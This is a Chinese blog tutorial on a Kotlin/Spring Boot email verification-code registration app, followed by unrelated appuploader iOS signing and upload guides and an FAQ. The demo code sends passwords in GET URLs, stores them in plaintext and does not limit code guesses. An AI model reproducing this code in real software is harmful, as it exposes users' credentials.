基于kotlin开发的验证码发送注册的app
一、前言最近其实有一点“不务正业”,快两个月了都在学网络相关的后端开发,安卓方面很久没去研究了,这次带来的demo是大项目中的一个小小的一块,由于编程语言渐渐转向kotlin,所以原本的项目需要进行重构,不过还不是非常熟练,所以这次写了这个注册功能的demo,百分百kotlin就是它了,验证码是自己搭建的服务器那边处理的,所以还是一个非常值得自己做的一个功能,起初是想采用短信实现的,后面看到腾讯短信业务要企业级用户才能使用,就放弃了,自己造轮子显然不是一个明智的选择,不过鉴于这个功能在思路上非常的简单,所以简单实现了一下,不过不要小看这个demo,”麻雀虽小五脏俱全”就是它了,设计后端即springboot的开发,app处理网络请求的开发,appUI界面的设计(虽然只有一步,但也还是吧),数据库查询相关,app搭建相关架构的实现等等,值得学习一波。下面是制作过程的思维导图最终的成品也展示一下二、spring boot端相关接口开发在设计之前还需要设计两个表,建议在本地开发完成之后再上线服务器,所以最好本地也建个表,访问更快,表的设计比较简单,这里就展示一下结构图注册表验证表还有这里面用到的比较多的就是MyStatus这个数据类,因为注册最终的展现形式都差不多,所以采用统一的状态方式进行返回内容,下面展示一下类的结构data class MyStatus(var account:String, var status: String, var message:String, var time:String)用到的json转化工具是hutool,参考一下之前写的博客hutool的使用1.开发发送验证码接口首先确定一下,接口的形式http://域名:端口号/verify/{邮箱}只需要一个参数就可以了,确认完参数,我们开始进行下一步,设计一下发送验证码的流程//1.首先进行查询最近的验证码的发送时间,与目前的做比较
//可能会有三种情况:查询为空,间隔时间大于5分钟,间隔时间小于5分钟
//小于5分钟直接返回提示,验证频繁
//查询为空和大于5分钟继续
//下面展示核心代码,具体实现源码文末领取
//查找是否存在上一次验证码记录,并进行比较,5分钟以内就不重复发送
val isExist = "select * from verify WHERE mail = ? ORDER BY sendTime desc LIMIT 1"
val psExist = con.prepareStatement(isExist)
psExist.setString(1, mail)
val resultSet:ResultSet = psExist.executeQuery()
//这里的if语句就相当于在做判空操作
if (resultSet.next()){
//计算时间差
val t = System.currentTimeMillis() - MyDate.timeToLong(resultSet.getString("sendTime"))
//判断超过时间就不发送
if(t < 5*60*1000){
val status = MyStatus(mail,"404","请勿重复发送验证码",timeVerify)
return JSONUtil.toJsonStr(status)
}
}//2.生成验证码
//这里采用随机数的方法随机生成了100000~999999的数字
val random = Random()
val code = random.nextInt(999999 - 100000 + 1) + 100000
val message = "【Dream】您的验证码$code,该验证码5分钟内有效,请勿泄漏于他人,时间${timeVerify}"//3.发送邮件
//首先对邮箱进行一个检查
//无效返回提示,有效则继续
try{
SendMail(mail).sendTextEmail(message, "【Dream】注册验证码")
}catch (e:Exception){
val status = MyStatus(mail,"404","邮箱无效",timeVerify)
return JSONUtil.toJsonStr(status)
}//4.插入验证码发送的记录
//这里是为后面的校验做准备
val insertCode = "insert into verify(mail,myCode,sendTime) values(?,?,?)"
val psCode = con.prepareStatement(insertCode)
return try {
psCode.setString(1, mail)
psCode.setString(2, code.toString())
psCode.setString(3, timeVerify)
psCode.executeUpdate()
val status = MyStatus(mail,"200","发送验证码成功",timeVerify)
JSONUtil.toJsonStr(status)
}catch (e:Exception){
//插入时异常
val status = MyStatus(mail,"404","系统故障",timeVerify)
JSONUtil.toJsonStr(status)
}2.开发注册接口接口格式确定一下,这里本来应该可以采用post进行开发的,由于参数也不是太多,所以采用仍然采用get进行开发http://域名:端口号/register/{邮箱}/{密码}/{验证码}三个参数,不算太多,可能就是浏览器手动请求有点累//1.判断用户是否已经存在
//这里采用了主键约束,所以插入的时候根据数据库的返回结果即可判断是否已经存在
//存在,返回已经存在的提示,反之则继续//2.判断验证码是否过期
//查询最近一次的验证码发送时间
//若查询为空,则说明用户还没发送验证码,返回提示,不为空继续
//若时间与当前的时间间隔大于5分钟就返回验证码已经过期的提示,反之继续
//判断是否发送过验证码
if(!resultSet.next()){
val status = MyStatus(mail,"404","暂未发送验证码",timeRegister)
return JSONUtil.toJsonStr(status)
}
//判断是否验证码是否过期
val t = System.currentTimeMillis() - MyDate.timeToLong(resultSet.getString("sendTime"))
if (t > 5*60*1000){
val status = MyStatus(mail,"404","验证码过期",timeRegister)
return JSONUtil.toJsonStr(status)
}//3.判断验证码是否正确
//正确则进行下一步操作,错误返回提示
//判断验证码是否正确
if (code != resultSet.getString("myCode")){
val status = MyStatus(mail,"404","验证码错误",timeRegister)
return JSONUtil.toJsonStr(status)
}//4.检查sql语句是否出错,即判断用户是否已经存在
//错误,返回用户已存在的提示,否则继续
//插入数据库成功,发送邮箱给用户提示已经发送成功
//检查数据库查询是否有错误发生
return try{
val register = "insert into register(mail,myPassword)values(?,?)"
val psRegister = con.prepareStatement(register)
psRegister.setString(1,mail)
psRegister.setString(2,password)
psRegister.executeUpdate()
val status = MyStatus(mail,"200","注册成功",timeRegister)
//发送注册成功通知
val message = "【Dream】尊敬的用户:恭喜你已成功注册Dream,后续软件使用问题关注公众号:android 踩坑小天才 进行咨询,感谢您的支持"
SendMail(mail).sendTextEmail(message, "【Dream】注册成功通知")
JSONUtil.toJsonStr(status)
}catch (e:Exception){
val status = MyStatus(mail,"404","用户已存在",timeRegister)
JSONUtil.toJsonStr(status)
}三、app客户端界面UI相关开发这方面说实话,审美不是很好,甚至这个颜色还是从某某平台扣的,过程比较简单,如果真的要开发一款比较好的软件,UI设计非常重要//1.确定布局
//这个最简单的就是使用线性布局//2.确定主要控件
//这里邮箱,密码,验证码就是主要的控件
//都是EditText,需要设置一下输入的数据类型
//这里以邮箱为例
//主要用到了hint即还未输入前界面显示的提示性文字
//inputType,控制输入的数据格式
<LinearLayout
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="horizontal">
<TextView
android:layout_width="0dp"
android:layout_height="match_parent"
android:layout_weight="2"
android:text="注册邮箱:"
android:gravity="center"
android:textColor="#000000" />
<EditText
android:id="@+id/re_mail"
android:layout_width="0dp"
android:layout_height="match_parent"
android:layout_weight="6"
android:hint="请输入合法的邮箱"
android:inputType="textEmailAddress" />
</LinearLayout>//3.界面优化
//这部分主要是利用了Google提供的cardView进行圆角化处理
//还有就是控件直接的间隔调控即layout_margin
//这里利用线性布局中的权重配置,以适配不同分辨率的手机
//这里简单展示一下
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="0dp"
android:layout_weight="1"
android:layout_margin="10dp"
app:cardCornerRadius="5dp"
app:elevation="15dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="match_parent"
android:layout_weight="1"
android:orientation="horizontal">
<TextView
android:layout_width="0dp"
android:layout_height="match_parent"
android:layout_weight="2"
android:gravity="center"
android:text="hello"
android:textColor="#000000" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>//4.图标
//众所周知,图标是相当重要的,能不能给一个良好的第一印象就靠它了
//这里是上阿里云矢量图库里面找的
//是不是相当的帅气四、app网络请求处理相关开发基于retrofit开发的,下面展示一下基本流程//1.创建接收json数据的数据模型
data class RegisterData(val account:String,val password:String,val verifyCode:String)
data class StatusResponse(val account:String, val status: String, val message:String, val time:String )//2.创建服务接口
interface LoginService {
//发送验证码接口
@GET("verify/{mail}")
fun getVerifyStatus(@Path("mail")mail:String): Call<StatusResponse>
//注册接口
@GET("register/{mail}/{password}/{code}")
fun getRegisterStatus(@Path("mail")mail:String,@Path("password")password:String,@Path("code")code:String) :Call<StatusResponse>
}//3.服务创建的类
//这里面进一步完成retrofit的封装
object ServiceCreator {
//如果是本地测试的话,用自己电脑的ip地址即可
//cmd ipconfig即可获取
private const val BASE_URL = "http://IP地址:8080/"
private val retrofit = Retrofit.Builder()
.baseUrl(BASE_URL)
.addConverterFactory(GsonConverterFactory.create())
.build()
fun <T> create (serviceClass:Class<T>):T {
return retrofit.create(serviceClass)
}
//泛型实化,用到reified关键字
inline fun <reified T>create():T = create(T::class.java)
}//4.统一处理网络请求
//这里进行网络请求的处理,用到协程使得网络请求可以异步执行
object LoginDemoNetwork {
private val loginService = ServiceCreator.create<LoginService>()
//suspend kotlin中协程的关键字
suspend fun getVerifyStatus(query: String): StatusResponse = loginService.getVerifyStatus(query).await()
suspend fun getRegisterStatus(query1: String,query2: String,query3: String) = loginService.getRegisterStatus(query1,query2,query3).await()
//网络回调的处理
private suspend fun <T> Call<T>.await():T{
return suspendCoroutine { continuation ->
enqueue(object : Callback<T> {
override fun onResponse(call: Call<T>, response: Response<T>) {
val body = response.body()
if (body != null)continuation.resume(body)
else continuation.resumeWithException(RuntimeException("response body is null"))
}
override fun onFailure(call: Call<T>, t: Throwable) {
continuation.resumeWithException(t)
}
})
}
}
}//5.respository里面进行网络请求的最终处理并且返回回调结果
object Repository {
fun getVerifyStatus(query: String) = fire(Dispatchers.IO){
val verifyResponse = LoginDemoNetwork.getVerifyStatus(query)
Result.success(verifyResponse)
}
fun getRegisterStatus(query1: String,query2: String,query3: String) = fire(Dispatchers.IO){
val registerResponse = LoginDemoNetwork.getRegisterStatus(query1,query2, query3)
Result.success(registerResponse)
}
/**
* 对于结果处理进行一个高阶函数的封装
*/
private fun <T> fire(context: CoroutineContext,block:suspend () -> Result<T>) = liveData<Result<T>>(context) {
val result = try {
block()
}catch (e:Exception){
Result.failure<T>(e)
}
emit(result)
}
}五、基于MVVM架构的模块组装这一块主要是对fragment和viewModel进行设计,由于我们的需求比较简单,所以这一块也实现的比较简单//1.viewModel层设计
class LoginViewModel : ViewModel() {
//创建了两个网络请求的liveData
private val verifyLiveData = MutableLiveData<String>()
private val registerLiveData = MutableLiveData<RegisterData>()
//对于liveData进行转换
val verifyStatusLiveData = Transformations.switchMap(verifyLiveData) { query ->
Repository.getVerifyStatus(query)
}
val registerStatusLiveData = Transformations.switchMap(registerLiveData){register->
Repository.getRegisterStatus(register.account,register.password,register.verifyCode)
}
//赋值
fun getVerifyStatus(query:String){
verifyLiveData.value = query
}
fun getRegisterStatus(query1: String,query2: String,query3: String){
registerLiveData.value = RegisterData(query1,query2,query3)
}
}//2.fragment设计
//这里主要就是创建了两个liveData的监听和两个listener
//还有一些简单的网络判断
class LoginFragment : Fragment() {
private val viewModel by lazy { ViewModelProvider(this).get(LoginViewModel::class.java) }
override fun onCreateView(
inflater: LayoutInflater, container: ViewGroup?,
savedInstanceState: Bundle?
): View? {
return inflater.inflate(R.layout.login_fragment, container, false)
}
override fun onActivityCreated(savedInstanceState: Bundle?) {
super.onActivityCreated(savedInstanceState)
sent.setOnClickListener {
viewModel.getVerifyStatus(re_mail.text.toString())
}
register.setOnClickListener {
if(re_password.text.toString() == check_password.text.toString()){
viewModel.getRegisterStatus(re_mail.text.toString(),re_password.text.toString(),check_code.text.toString())
}else{
"两次密码输入不一致".showToast()
}
}
viewModel.verifyStatusLiveData.observe(viewLifecycleOwner) { result ->
val status = result.getOrNull()
if (status != null){
if(status.status == "200"){
status.message.showToast()
}else{
status.message.showToast()
}
}else{
"网络错误".showToast()
}
}
viewModel.registerStatusLiveData.observe(viewLifecycleOwner) { result ->
val status = result.getOrNull()
if (status != null){
if(status.status == "200"){
status.message.showToast()
}else{
status.message.showToast()
}
}else{
"网络错误".showToast()
}
}
}
}最后,如果有感兴趣的,可以发送关键字:验证码 到公众号:android 踩坑小天才 获取源码和签名好的app
appuploader 上架详解大全(下)
2022 ios APP最新开发测试教程
1.本文详细介绍最新的在windows上进行ios app开发编译打包安装到手机测试的完整流程。介绍ios开发经常遇到的问题和解
决方法,包括ios开发证书,ios开发描述文件等。
2.Apple开发常用的三个网址:
开发者中心: https://developer.apple.com/account/
App 管理中心: https://appstoreconnect.apple.com/
App ID管理中心: https://appleid.apple.com/
Ios开发助手工具:http://www.appuploader.net/
App Uploader下载安装
1.进入App Uploader官网下载下载地址:http://www.applicationloader.net/最新版下载地址:https://net-appuploader.oss-cn-qingdao.aliyuncs.com/appuploader_win_0728.zip
2.双击应用程序下载。
3.进入app uploader主界面
切换中文界面
1.根据步骤如图如下操作的,点击中/英文切换,弹出提示后关闭软件重新打开即可切换成功。
apple 账号登录
1.使用开发者账号登录,并且没有支付688,需要勾选‘未支付688’选项进行登录。
2.将绑定手机号收到的验证码输入即可登录。
创建ios(.p12)证书
1.点击苹果证书
2.新增苹果证书
输入证书密码:这个密码不是账号密码,而是一个保护证书的密码,是p12文件的密码
证书名称:是你为了在证书列表里面便于区别的一个字符,自己好辨识就可以,尽量是字母和数字之类。
证书类型说明:IOS开发选择apple development或者ios app development 类型ios 发布选择 appledistribution或者 ios distribution (app store and ad hoc)。
开发推送证书选择 apple push notification service ssl (sandbox),发布推送证书选择 apple push notification service ssl (sandbox & production),其他证书不是很常用,可以自行百度各种证书说明。上架版本需要 使用正式的证书(apple distribution)。
开发测试用开发证书(apple development) 一般都要创建两个证书一个用于开发,一个用 于上架,如果有支付内容,还必需要 Apple Pay 的证书。证书无需创建太多,apple对证书有数量限制,一般3个开发证书就不 让创建更多同类型的证书了。
官网遇到问题,首先登录文章开通的苹果开发官网。检查 是否有权限/是否被停用/是否过 期/是否有协议需要同意。在右上角切换账号检查所关联的账号是否功能正常。Apple邮箱会接收到许多通知消息,如IPA上 传,账号发生变化,被停用,都会有消息提示。
8.点击p12下载到电脑。
添加测试设备UDID
1.点击udid
2.连接苹果手机,即可识别出来udid
创建描述文件
1.点击描述文件
2.点击新增描述文件,在弹出框里面选择要安装测试到的设备,如果是发布类型无需选择设备。选择使用的证书,如果忘记是哪
个 了可以选择全部证书。
描述文件类型说明:带app store类型的是发布类型,带development的是开发类型,, push没有描述文件,所以不要问推送选 择哪种描述文件类型,ios开发选择ios app development类型,发布app的时候选择app store类型。(ps:除了APP Store类型的描述文件外,其他的描述文件都需要选择测试设备)
3.点击下载按钮下载桌面
测试安装App
1.以HBuilder打包Vue项目为例,打开详细设置进行设置完成后,点击保存。
2.官菜单项点击‘发行-> 云打包-打原生包’,出现如下图所示弹框,取消广告勾选,没有错误提示,选择刚才制作的p12
和.mobileprovision文件,输入刚才设置的证书密码。点击打包,等待打包未完成(仅以ios为例)
3.官打包完成后点击确定“OK”按钮查看打包状态信息,打包完成后,保存安装包到目标文件,发送到手机端安装即可运行。
测试设备:如果选择的类型是ios app development 类型,则全部测试设备旁边必须有测试设备并且勾选上,如果没有显示测试设备,点击框框下面的添加测试,然后把测试设备的udid输入,把ios设备连接到当前pc,会自动获得设备的udid。 如果app编译后无法安装到设备,可能是因为设备的udid没有添加进入描述文件,则需要添加描述文件后重新编译。
上一篇上传了ipa但iTunes Connect没有构建版本问题下一篇 App Uploader激活码获取
App Uploader激活码获取
1.点击图示的激活,获取激活码。
如果弹出界面状态显示 过期 表示需要激活,如果状态显示 激活 则表示是提前提醒快过期了
2.如图示,点击链接:
http://www.applicationloader.net/purchase.html 。会跳转购买激活码页面,购买成功即可生成激活码,购买的激活码越多是越划算的。
3.返回主界面进行登录,输入前面获取的激活码,激活成功后关闭软件重新登录。
上一篇2022 ios APP最新开发测试教程下一篇 生成IOS app专用密码教程生成IOS app专用密码教程
1.如果没有APP账号的话,到apple ID官网注册一个账号。
下载链接: https://appleid.apple.com/
2.填写完下面资料,密码的注意事项在红圈区域。
3.填写完信息点击“继续”。
4.依次输入邮箱收到的验证码。
5.输入短信验证码。
6.进入这个页面,App ID账户就创建成功了。
7.跳转到APPID页面中,点击“App专用密码”中的三点
8.输入账号,密码即可生成专用密码(后面IPA到苹果后台也会使用到此专用密码)
请注意,此处打码的弹出的才是app专用密码,之前设置的那个是专用密码名称
上一篇App Uploader激活码获取下一篇 App Uploader下载安装
App Uploader下载安装
1.进入App Uploader官网下载。
下载地址:http://www.applicationloader.net/
最新版本下载地址: https://net-appuploader.oss-cn-qingdao.aliyuncs.com/appuploader_win_0728.zip
2.在弹出框中点击“下载”。
3.在弹出框中点击“文件夹”打开。
4.右键选择“解压全部文件”。
5.选择“提取”。
6.双击应用程序
7.选择“更多信息”。
8.进入AppUloader主界面。
上一篇生成IOS app专用密码教程下一篇 appuploader和xcode打包导出ipa
xcode打包导出ipa
众所周知,在开发苹果应用时需要使用签名(证书)才能进行打包安装苹果IPA,作为刚接触ios开发的同学,只是学习ios app开发内测,并没有上架appstore需求,对于苹果开发者账号认证需要支付688,真的是极大的浪费,使用appuploader,只需要注册苹果普通的账号,不需要688认证,就可以打包自己开发的ios应用,自己真机测试,下面是详细教程:
第一步:注册苹果开发者账号
访问以下网址,按照提示注册即可,因为不需要支付688认证苹果开发者,所以没什么好讲的。 注册地址:Apple Developer https://developer.apple.com/cn/
第二步:下载APP Uploader
下载地址: Appuploader官网--IOS ipa上传发布工具,证书制作工具跨平台版,windows,linux,mac系统都可用 (applicationloader.net) http://www.applicationloader.net/
我这里是VMware虚拟机安装的mac系统,所以下载了mac安装包,直接解压,双击appuploader即可启动,看下图:
主界面如下:
简单介绍一下,这块工具的使用方法:
1、登录,由于没有支付688认证,所以登录的时候,注意勾选未支付688:
2、功能介绍,我这里主要使用了工具的三个功能部分:
证书部分:主要是通过工具生成.p12证书文件,后面这个证书要导入mac系统。 描述文件:这个文件主要包含了证书,公钥,设备信息等,和app绑定。
测试设备:主要是录入要内测的ios手机,主要是udid,udid可以理解为设备的一个唯一标识码,iphone手机udid的获取,可以安装驱动后通过appuploader工具自动获取
其他功能模块我这也没有用到,具体可以通过工具软件的帮助文档详细了解,帮助文档也列出了常见的问题以及解决方法: Appuploader常见问题 (applicationloader.net),下载链接:http://help.applicationloader.net/topic/appuploader/
第三步:使用xcode打包导出ipa文件,供其他人内测
1、mac系统导入appuploader生成的p12证书,导入方法入下图:
双击下载到的p12 文件,系统提示输入密码之类的,按照提示输入密码即可。
2、关键部分,xcode使用这个p12证书,进行打包ipa:
xcode添加好了苹果开发者账号,个人p12证书有了,接下来就是xcode打包ios应用:
记得取消勾选automatically manage signing
xcode编译没有问题,就会弹出一下界面
在Products目录下,把xxx.app文件拷贝出来,新建Playload文件夹,压缩Playload文件夹,得到Playload.zip文件,修改
Playload.zip文件为Playload.ipa文件,至此ios应用安装文件就弄好了.
上一篇App Uploader下载安装下一篇 使用appuploader常见问题汇总使用appuploader常见问题汇总(二)
1.不装虚拟机可以直接在windows系统用appuploader上架iOS app吗?
可以的,使用appuploader可以非常方便的在windows里面上架
2.已经是激活状态了,为什么还提示无权限呢
无权限是指没用开通apple开发者权限,没支付688给apple的账号只能制作测试证书,不能发布上传,不能推送等。刚支付完
的也要等待apple系统开通了提示才会变更,可以去apple官网检查。没激活的话软件会提示没激活,是否激活。
3.就类型选择哪一个,我想上架iOS的
一般选ios Distribution(发布类型),邮箱随便填。
4.没有源码能不能弄,ipa上传报错
编译设置ios版本兼容号,然后重新编译代码
5.完事以后点P12下载后,证书怎么看啊
证书就是p12,p12就是证书
6.这个有效期十年,好像是错的。我也不知道具体原因,但如果我用cmd生成的安卓
证书的话,他使用是没问题的
证书制作出来后可以打开查看他的有效期的
7.用这个软件上传app不能传一样的版本怎么把之前的版本删除掉。我最开始
传的1.0.0审核没通过,在提交就没办法重新传1.0.0了只能更改更高的版本号
用啥软件都不能删已上传版本,构建版本号改下就行了
8.去哪里进配置这个
Xcode或者在apple官网http://developer.apple.com/ 进行配置
9.这个sku是什么
随便自己设置的一个你能识别的字符
10.刚刚买了激活码,请问一下,这个选择那一个呢
开发环境用ios app development 或者appledevelopment类型,发布类型是Apple distribution,没有通用类型。
apple=mac+ios
11.为什么提示文件名称不规范
需要填写名称
12.为什么提示请选择测试设备
点击添加测试,使用数据线用苹果手机连接电脑获取udid
13.这个三个,我应该选那一个呢?
开发环境用ios app development 或者appledevelopment类型,
发布类型是Apple distribution,没有通用类型。 apple=mac+ios
14.这俩有什么区别呢
直接选择create
15.请问uniapp用个推的推送的时候ios需要上传证书,但是我生成的p12一直提示证
书环境错误是什么原因
开发环境用dev类型,发布类型是Apple distribution,没有通用类型
16.这个是什么问题呢?大家有遇到的么?用的是这个工具上传ipa包提示的这个,
app套装id是什么呢?
1.app管理网站里面可以看到,就是bundle id。
2.你当前应用的Bundle Identifier 和 开发者账号中的Appid不一致;也就是不一样;把你的这个app的Bundle Identifie 改成和
你开发者账号中的AppID 一样;注意不同的App不要有不同的Appid;这个Appid首先要在开发者账号中进行设置,然后才可以
用;你把App的Bundle Identifier ,设置为开发者账号中的这个Appid就是代表使用了这个Appid。
bundle id不匹配或者对应的app不是上传状态
17.我提交ipa包成功了,但是在app里面没找到构建版本,这是哪里问题呢,上传ipa成功了,构建版本为什么是空的呢
有延迟,等个10分钟左右就差不多。去账号邮箱查看。
18.Invalid App Store Icon - The App Store Icon in the asset catalog in 'HBuilder.app'
can't be transparent nor contain an alpha channel.
(应用商店图标无效-HBuilder中资产目录中的应用商店图标。应用程序“不能是透明
的,也不能包含alpha通道。)
图标不能透明,也不是,图标边边角角不透明就行了
19.没有提交审核之前 图标不显示?
图标要上传啊,不上传哪来图标,图标你在app信息下面选择一个版本保存就显
示了,我这个刚才就是这么设置的,可以显示了现在,不是在app信息里面,在
箭头那个位置。
20.我每次上传都失败怎么回事啊
工具版本号多少,这个是网络问题导致的,新版本可以试试通道2(通道2不支持中文和特殊字符文件路径),老版本的话
你就换个网络,例如手机热点wifi试试。
21.用的手机流量,不上传的时候网络就是正常的,每次上传一半我的网络就掉线了
试试上传通道2,如果不行你就要检查电脑是不是有软件把端口给占了,那可能
你网络有软件有问题,例如杀毒软件或者其他工具
22.我不上传的时候做什么都没有问题呀,通道2上传显示空白。
等待一会看看,很有可能是你的系统权限和杀毒软件的问题,建议关闭了杀毒之
类的,双击下runtime下的exe,设置允许运行
23.构架版本 怎么弄呢,咋也没有选的啊
应该是苹果自动检测你提交的ipa包有问题,你看下apple邮箱里面给的提示
24.NSUserTrackingUsageDescription,这个问题咋解决呢?
隐私政策里面,加以说明
25.uniapp 打包这需要描述文件?
你这是推送描述文件吗,推送怎么可能有描述文件
26.ios打包的正式包能做分发吗?怎么做?不能直接分发一个包是吗 ?只能
通过商店下载?
能,提交appstore,是
27.请问开通开发者账号出现这种情况是什么原因,人脸识别后就出现这样
联系团队,这个问题应该是之前有注册过,申请过,然后人脸人脸卡住了,没过
28.这算正常上传吗,这个一点击 就是上传到商店了吗
正在上传,可能是网络比较卡,是的
29.这个是版本不兼容吗?
这个是你账号有问题,登录apple官网检测账号,登录apple官网检测账号
30.那些隐私什么在哪配置,window系统的
apple官网
31.想问一下,上传的app。是需要到苹果官网,点提交审核后,才开始审核流
程吧? 是的
32.我在创建bundle id的时候,明明没有前缀,创建app的时候会出现前缀
可以变更套装id的,用appuploader创建id的话一般是不会有前缀,
。去apple开发者中心新建或者修改,或者你干脆先删除了,然后再创建一次。
33.IOS包提示上传成功,但是在app Store里面找不到这个版本的包咋办
看apple邮箱
34.这个能生成p12证书吗
要用开发环境,开发自己安装测试不需要688,仅供开发使用,勿用于其他地方。
35.我账号付了688,之前的证书过期了,怎么生成新的
和之前一样的生成方式,登录工具直接就可以制作生成。
36.这个是什么问题,才12个,创建不了,只能创建测试,错误提示;你当前已经有一
个发布证书或者挂起的证书要求了
证书只要一个就可以开发无数个app的,不需要每个app制作证书。你已经制作了太多证书,删了啊,上架后证书就没关联了
37.profile文件与私钥证书文件不匹配是怎么回事?
制作描述文件的时候勾选所有证书
38.只用来制作hbuilder自定义基座 这个是多久有效期呀
没给apple688的是7天
39.我是Windows系统的,没有xcode,包我是用uniapp那个打包的,上传完
IPA后,没有显示,第二张图是邮件提示
在用Hbild打包的时候检查或者重新配置以下内容
1.bundle id: com.zhukaoplus.ops 要和profile 文件相符合,要一致
2.发布App store 的时候要选择发布证书:appstore, 不是develop证书;
3.重新打包试一下
40.下图报错怎么解决,错误提示内容:无法开始交付:所有重新启动失败的诊断。
1.网络错误,可以换通道2试试,或者换个网络试试
2.不知道你能不能直接打开Google如果不能可以尝试用梯子试试
41.Win11打不开软件是啥情况
打不开软件可以下载兼容版本,
https://net-appuploader.oss-cn-qingdao.aliyuncs.com/appuploader_wi
n_0608.zip。可以在帮助中心下载老的兼容版本,最新版本部分系统无法打开,证书帮助链接:
42.bundle ID 是怎么获取的?
添加bunldle id:三段式格式、如app名称是淘宝,可以编写为com.app.taobao,自由编写!不能重复!具有唯一性@
43.这个是怎么回事?
点击证书进去看看,如果开通了,重新登录应该就可以了
44.如果在a账号购买年费。b账号要上传包,这个可以么?
不可以
45.ios上架app 能接入微信支付和支付宝支付吗?
能啊,但是仅限于商城商店卖产品类的,虚拟商品类加其他支付的影响审核
46.这个是只能安装开发版本吗?为啥不能安装正式版本,已经买了一年的会员也不行吗
是的,正式版本就是发布版本就是上架appstore的版本,开发安装测试的叫开发版本
47.是不是买了100多的appuploader 就不用买688的苹果开发者账号了?
appuploader是免费体验7天功能无限制,自己下载体验,上传appstore,制作
带推送功能的证书,描述,都需要支付688给apple后才能使用。免费的账号,
只能制作7天免费的app。登录账号界面勾选未支付 688可以开发软件,但是
不能上传。
48.免费7天那个可以给别人手机下载
不能
49.你们这个工具上传,可以上传ios app发布吗
可以的,点击上传ipa
50.开发个ios,不花钱就不能真机调试了?
可以的,使用appuploader可以使用免费apple账号制作开发证书,进行真机调试测试
51.请问生成可以在手机运行的证书我要选哪个?我只想用手机调试,不要钱的那种?
在appuploader里面选择开发类型证书,也就是development类型的证书
52.证书是苹果的还是你们的?
苹果的,Appuploader工具简化各种操作,是一个开发辅助工具,不能无众生于。
53.这个Apple Account登啥啊,登apple id不对啊
AppleID一般是,注册地址 appleid.apple.com
54.请问一下续费后,只需要弄个苹果证书和描述文件,bundle id都是可以不用改吗?
是的,描述文件要重新制作,bundle id不用改。
55.这个激活码是啥,上次就登录了一下,还没开始使用,提示我过期了?
免费试用七天,过了试用期可以在线扫描购买:http://www.applicationloader.net/purchase.html
,查询激活码链接:http://www.applicationloader.net/query.html。
56.错误提示:缺少推送通知权利- 您的应用似乎注册了 Apple 推送通知服务,但应
用签名的权利不包括“aps-environment”权利,怎么解决?
1、打包模块那=设置已经取消了“推送(消息)”
2、证书那里已经添加了推送通知
要么有推,要么都没有推,开发工具里面的设置要和apple官网后台的设置保持一致。修改后要删除原来的描述文件重新制作
下载
57.您的 App 包含 NSUserTrackingUsageDescription,这表示它可能会请求追踪
用户。要提交以供审核,请更新您的 App 隐私答复以注明从此 App 中收集的数据将
用于追踪目的,或者更新您的 App 二进制文件并上传新的构建版本
方法:隐私设置中,数据类型需要勾选“用于追踪目的”,提示才会消失,一般把锅丢给广告,说广告商要追踪。
58.问ios驱动要下载的么,我这获取不到,手机已经连上了
要
59.刚那个弄好了 我这个体验账号 描述文件是不能选择是否推送的选项么
有两种解决方案,一种是删除Push功能,即在HBuilder的manifest.json文件“模块权限”->“模块设置”中配置删除“Push(消息推送)”模块; 另一种是更新profile文件,操作方法如下: 确保使用的App IDs打开“Push Notifications”服务 登录苹果开发者网站,输入开发者账号、密码并登录 左侧选择“Certificates, IDs & Profiles”,打开iOS证书管理界面 左侧“Identifiers”栏下选择“App IDs”,打开应用ID管理界面 在右侧ID管理列表中选择需要使用的应用标识 点击“Edit”按钮,在打开的服务列表中选中“Push Notifications”服务,点击“Done”保存。
60.错误提示内容:此资源仅适用于开发人员计划中的开发人员或开发人员程序中的
组织团队成员。
有可能是账号被禁止了,或者开发者权限还没开通
申请苹果个人开发者账号后每年都需要交99美元的。
个人开发者账号(苹果公司会收取年费)
只有一个开发者,一个账号仅可申请100台设备。
如果使用一年第二年不交费了,那么应用是会被撤架的。
61.other怎么解决
other 基本就是f封号。给的答复就是审查账号,暂时不能提交APP,耐心等待就行了
62.打包好了 怎么下载到手机上啊
1.用的生产还是测试证书,测试的话可以appuploader安装(描述文件里面要保安设备udid),生产证书上架到app store,才
能通过appstore安装
63.选择完之后也是空白,怎么解决
iCloud和驱动没安装好,或者是连接手机的时候弹出信任框被你拒绝了,重启手机重新连接试试
64.我买了一个激活码,但是生成的描述文件还是7天过期?意思是我必须得每7天要生成一次吗
没有付费688给苹果那边的账号都是7天有效,,要使用的时候重新生成就行了
65.审核被拒
收到的拒绝原因,就是审查账户,等了小20天,才可以继续提交APP审核(我是填写了那个付费协议,然后就被审查了)
66.支付宝授权登录 android 和 ios 授权登录插件 https://ide.dcloud.net.cn/build/errorLog/50744a00-0260-11ed-bef1-71ce148e2604,,打包自定义基座报错,帮忙看下什么问题
现在真机上面安装iOS App 需要证书;也就是你要先自定义基座;然后打进包里 注意:bundle id 要和你HBuild的app id 相匹
配或者包含
67.js局部变量如何给全局变量赋值?
1.一般不是都可以直接赋值给全局变量,或者将这个局部变量作为包含此局部变量的函数的返回值,然后再将这个函数赋值给
那个全局变量就行了,记住函数后面一定要加括号
2.uniapp的全局变量不是设在函数外面的..
3.可以尝试在data里面设个页面级全局变量 data(){ return { http:'', } } methods: { function configure(){ let That = this; ................ That.http = require_http; } }
68.报错提示内容:Hello, Thank you for submitting your app for...你好,感谢您提
交您的应用进行审核。我们需要额外的时间来评估您的提交和苹果开发者计划帐户。在我们调查期间,您的提交状态将在App
Store Connect中显示为“已拒绝”。但是,我们现在不需要您提供修改后的二进制文件或其他信息。如果我们注意到任何需要您
注意的问题,我们会通过App Store Connect通知您。如果我们发现您的提交或帐户没有问题,提交将被批准。如果您在收到此
消息后的7个工作日内没有收到我们的回复,并且想要查询我们的审核状态,您可以通过Apple开发者联系我们页面提交请求。最
诚挚的问候,应用商店评论
提交状态显示 已拒绝 的原因:
你提交的App可能存在一些问题,或者你的开发者账号可能存在一些问题。 所以苹果审核人员需要更多的时间来审核
解决方法:
等待一段时间
你最近多看下你的App审核状态;如果你的App有问题会通过App Store Connect通知你,然后你根据它给你提的整改意见进行修
改就好; 如果没有问题你的App会直接上架的哈 ,问题不大哈
69.苹果app审核拒绝,提示内容:
指南 5.1.1 - 法律 - 隐私 - 数据收集和存储
我们注意到您的应用要求用户注册或登录才能访问不基于账户的功能。
具体来说,请不要强迫用户登录浏览视频课程。
下一步
